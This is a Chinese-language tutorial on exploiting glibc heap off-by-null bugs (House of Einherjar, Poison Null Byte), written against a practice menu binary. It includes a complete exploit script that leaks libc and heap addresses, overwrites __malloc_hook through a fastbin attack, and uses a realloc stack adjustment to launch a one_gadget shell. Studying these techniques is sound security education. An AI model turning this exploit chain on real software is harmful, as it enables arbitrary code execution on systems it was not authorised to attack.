Off-By-Null
Off By Null和Off By One差别在于只能溢出一个Null Byte而不是一个可控的字符
相比之下难度更大一些,这一节主要是两个利用Off by Null漏洞的方法
-
House of Einherjar思路是清除一个申请了的chunk的prev_inuse位,之后在free的时候触发consolidate使得前一个chunk存在两个指针;
-
Google Posion Null Byte则是针对free掉了的chunk,通过修改free chunk的大小,使被溢出的chunk被再次申请时错误更新prev_inuse位,最终free后一个chunk时触发consolidate。
House of Einherjar
可以malloc三次smallbin,溢出一个Null byte
构造一个chunk_B大小0x100,清掉prev_inuse位,伪造一个prev_size到user的位置
user里面把fd、bk都设置成自己绕过safe unlink检查
username = p64(0) + p64(0x91) + p64(elf.sym.user) + p64(elf.sym.user)
chunk_A = malloc(0x88)
chunk_B = malloc(0xf8)
edit(chunk_A, p64(0)*16+p64(heap-elf.sym.user+0x90))
# consolidate
free(chunk_B)
这样在free的时候提示了一个错误 corrupted size vs. prev_size
这部分比较的具体内容是这里
chunksize(P)!=prev_size(next_chunk(P))
也就是在user处伪造的chunk size 0x91和
从0x91这个chunk找到下一个chunk,看这个chunk的prev_inuse字段
发现这两个值不相等
一个简单的绕过方法就是将伪造的这个值设置为8,这样通过prev_size(next_chunk(P))
找到的也是这个8本身,就发现两者相等
虽然这个值不是一个有效的chunk size,但是可以这样绕过
接下来free B时发生consolidate,直接从Top chunk合并到user这里
因为top chunk都到这里了,接下来直接申请一个新的chunk就可以修改下面的target了
Posion Null Byte
前面的思路是消除一个已经申请了的chunk的prev_inuse
然后利用consolidate得到一个dup的指针
而Off By Null还有一种针对已经free掉的chunk的利用方法,最初是2014年时glibc中被爆出一个堆上的off by null漏洞,google project zero的一个人利用这个漏洞获取到了代码执行的权限,后续又在实际的程序上进行了利用(pkexec)
这里有三个链接可以参考一下;
原理
举例说明的话,首先申请三个chunk
头尾不重要,中间的chunk假设大小是0x210,将其free掉之后可以得到图中左边的状态
这时利用Null Byte的溢出修改这个chunk的大小为0x200,但是chunk_C处的prev_size是没有变化的
接下来申请两次0x100,这里会触发之前介绍过的remaindering,分割成了两个0x100的chunk
但是由于chunk_B的大小被溢出改成了0x200,chunk_C的prev_inuse并没有被设置为1
而是更新到了B2和C之间的0x10字节上
这时执行free(chunk_C)
,由于C的prev_inuse是0,并且prev_size是0x210
会直接将C和B1、B2合并(consolidate)全部free掉
这时再次申请的内容就会与chunk_B1、chunk_B2发生重叠
这样就可以得到一个overlap的指针,而有了overlap的指针就可以进一步实施unsortedbin attack、fastbin attack等等
实践
这个文件的保护机制全部都是打开的状态
堆菜单的功能有malloc、edit、free和read
但是这个程序没有泄漏出堆地址和libc的地址
栈上保存着一个变量m_array,用于存储堆申请chunk的相关信息
每一项有两个8字节组成,user_data是申请空间的地址,request_size是申请的大小
漏洞在于edit函数中
这里在执行时首先直接读取申请大小的内容到user_data处
tmp = read(0, m_array[na].user_data, m_array[na].request_size)
read的返回结果为成功写入的字节
m_array[na].user_data[tmp]=0
之后这样一个操作在写入的内容后面又加入一个0
这一个字节也就是溢出的一个Null字节
按照上面介绍的原理直接写一下exploit
chunk_A = malloc(0x88)
chunk_B = malloc(0x208)
chunk_C = malloc(0x88)
chunk_D = malloc(0x88)
free(chunk_B)
edit(chunk_A,"a"*0x88)
chunk_B1 = malloc(0xf8)
chunk_B2 = malloc(0xf8)
free(chunk_C)
但是这样运行会看到一个熟悉的错误
unlink时出现错误,原因就是chunk_B在safe unlink时bk->fd==p && fd->bk==p
这个条件不满足
在以往的程序中要绕过也很容易,只需要将chunk_B1的fd、bk都设置为自身,就可以通过这个判断;
但是这样的前提是程序存在一个堆的地址泄漏
这里可以使用的方法是将B1释放,让它真的是一个unsortedbin,这样就可以通过unlink的条件
overlap的chunk还有B2,也可以用于进一步的攻击
chunk_A = malloc(0x88)
chunk_B = malloc(0x208)
chunk_C = malloc(0x88)
chunk_D = malloc(0x88)
free(chunk_B)
edit(chunk_A,"a"*0x88)
chunk_B1 = malloc(0xf8)
chunk_B2 = malloc(0xf8)
free(chunk_B1)
free(chunk_C)
执行exploit可以看到触发了consolidate,chunk_B和C合并后放到了unsortedbin中
其中绿色是chunk_B1,蓝色是chunk_B2,红色是chunk_C
目前chunk_B2的指针还是可用的,接下来先利用unsortedbin leak得到libc的地址和堆地址
libc的地址可以通过再次申请B1,触发remaindering之后填在B2的fd和bk处
而堆地址的话,则可以通过释放chunk_A,将chunk_A也加入到unsortedbin中
这样更新fd、bk时会在B2的fd写入main_arena中的地址,bk写入chunk_A的地址;
就可以一次读获取到两个leak
chunk_B1 = malloc(0xf8)
free(chunk_A)
data = read(chunk_B2,16)
libc.address = libc.sym.__malloc_hook - (u64(data[:8])-0x68)
heap = u64(data[8:])
有了libc的地址,最后利用fastbin attack修改malloc_hook就可以拿到shell了
chunk_A = malloc(0x88)
fast = malloc(0x68)
free(fast)
edit(chunk_B2, p64(libc.sym.__malloc_hook - 0x23))
fast = malloc(0x68)
target = malloc(0x68)
edit(target, b'a'*0x13+p64(libc.address+one_gadget))
首先把chunk_A申请回来
然后申请一个大小为0x68的chunk,这个chunk和B_2是同一个指针
将其free掉加入到fastbin中
执行fastbin attack将malloc_hook修改为one_gadget
但是执行之后会发现libc的几个one_gadget都没办法执行
在这里下一个断点调试一下b *__malloc_hook
三个one_gadget需要满足的条件依次为:
rax==NULL
[rsp+0x30]==NULL
[rsp+0x50]==NULL
而运行到这里时,栈的情况为
这两个条件都不满足,同时rax的值也不是0
但是可以注意到0x50的位置虽然不是0,但是0x58的位置是0
如果能够想办法让这个0在0x50处就好了。
这里涉及到一种调整栈的方法,利用realloc_hook调整栈
realloc_hook就在malloc_hook的前面,因此利用fastbin attack也是可以覆盖这个位置的
realloc函数开始位置首先有一系列push,之后执行realloc_hook
将malloc_hook填为realloc的地址加一个偏移(这样减少push的数量达到调整栈的目的)
将realloc_hook填为目标的one_gadget
这样触发时首先执行malloc_hook即realloc加偏移,之后执行realloc_hook即one_gadget
那么首先我们修改一下exploit的最后一行
edit(target, b'a'*0xb+p64(libc.address+one_gadget)+p64(libc.sym.realloc+2))
要使0x58的0到0x50处,只需要少push一个值即可
所以在malloc_hook处填写为realloc+2的地址
再运行一下可以看到这里0x50就已经是0了,满足了one_gadget的条件
最后的exploit
chunk_A = malloc(0x88)
chunk_B = malloc(0x208)
chunk_C = malloc(0x88)
chunk_D = malloc(0x88)
free(chunk_B)
edit(chunk_A,"a"*0x88)
# 溢出一个Null Byte
chunk_B1 = malloc(0xf8)
# renmaindering
chunk_B2 = malloc(0xf8)
free(chunk_B1)
# 将B1加入到unsortedbin,从而绕过safe unlink
free(chunk_C)
# 触发consolidate,B、C的空间都加入到unsortedbin
chunk_B1 = malloc(0xf8)
free(chunk_A)
# 将B2的fd、bk变成libc的泄漏地址和堆的泄漏地址
data = read(chunk_B2,16)
libc.address = libc.sym.__malloc_hook - (u64(data[:8])-0x68)
heap = u64(data[8:])
# 计算得到堆地址和libc地址
chunk_A = malloc(0x88)
# 申请回来chunk_A
fast = malloc(0x68)
free(fast)
# 将B2的位置释放为fastbin
edit(chunk_B2, p64(libc.sym.__malloc_hook - 0x23))
# 利用fastbin attack得到malloc_hook写能力
fast = malloc(0x68)
target = malloc(0x68)
one_gadget = 0xd6fb1
edit(target, b'a'*0xb + p64(libc.address+one_gadget) + p64(libc.sym.realloc+2))
# 利用realloc调整栈
不过除了这样调整one_gadget的做法,还可以结合fastbin attack和unsortedbin attack,转而修改free_hook而不是malloc_hook
详细可以看这里
这样就可以直接free掉一个/bin/sh
字符串获得权限了